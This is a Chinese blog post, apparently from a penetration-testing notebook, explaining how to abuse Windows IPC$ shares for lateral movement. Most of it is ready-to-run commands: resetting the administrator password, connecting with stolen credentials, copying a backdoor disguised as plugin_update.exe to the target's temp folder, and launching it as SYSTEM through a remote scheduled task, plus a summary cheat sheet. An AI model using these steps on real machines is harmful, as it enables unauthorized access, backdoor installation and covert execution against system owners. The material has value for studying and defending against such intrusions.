zoukankan      html  css  js  c++  java
  • IPC$渗透使用

    简介

    IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

    使用条件

    1.开放了139、445端口;
    2.目标开启ipc$文件共享;
    3.获取用户账号密码。

    测试过程

    此测试前提是获取了ipc$,
    这里测试的时候得到的权限是system,然后创建了一个admin账户,给了administrators权限,但无法复制文件过去,于是就改了administrator账户密码(实战中不建议更改,可读取管理密码后再用读到的密码)。
    更改密码:net user administrator "1qaz@WSX"

    • 1.连接目标ipc$,将后门复制到目标机器上
    net use \\193.168.1.12\ipc$ /user:administrator "1qaz@WSX"
    copy plugin_update.exe \\193.168.1.12\c$\windows\temp\plugin_update.exe
    

    • 2.创建自动任务,执行上传的后门程序
    # 查看目标机器时间
    net time \\193.168.1.12
    # 创建该时间之后的某个时刻自动执行任务,任务名 plugin_update
    schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 16:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"
    # 如果不想等,可以立即运行后门程序
    schtasks /run /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
    # 删除创建的任务
    schtasks /F /delete /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
    

    接收端的目标机器已上线。

    常用命令

    # 1.连接
    net use \\193.168.1.12\ipc$ /user:administrator "1qaz@WSX"
    # 2.查看连接情况
    net use
    # 3.查看目标主机共享资源
    net view \\193.168.1.12
    # 4.查看目标主机时间
    net time \\193.168.1.12
    # 5.查看目标主机的NetBIOS用户(自己本机也需开启)
    nbtstat -A 193.168.1.12
    # 6.删除连接
    net use \\193.168.1.12\ipc$ /del
    # 7.文件上传下载
    copy plugin_update.exe \\193.168.1.12\c$\windows\temp\plugin_update.exe   
    (上传到目标的:c\windows\temp\目录下)
    copy \\127.0.0.1\c$\test.exe c:\
    (下载到本地c盘下)
    # 8.创建计划任务
    schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 1 6:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"
    # 9.立即执行计划任务
    schtasks /run /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
    # 10.删除计划任务
    schtasks /F /delete /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
    
  • 相关阅读:
    jQuery插件开发入门
    [转]JS学习总结-技巧、方法、细节
    JS无法获取display为none的隐藏元素的宽度和高度的解决方案
    vuejs2.0运用原生js实现简单的拖拽元素功能
    HTML5效果:Canvas 实现圆形进度条并显示数字百分比
    git常用命令总结以及用github来展示你的前端页面
    jQuery 对AMD的支持(Require.js中如何使用jQuery)
    vue+springboot上传和下载附件功能
    springboot+vue实现文件上传
    Spring boot+Vue全栈开发---Spring Boot文件上传
  • 原文地址:https://www.cnblogs.com/lzkalislw/p/15657634.html
Copyright © 2011-2022 走看看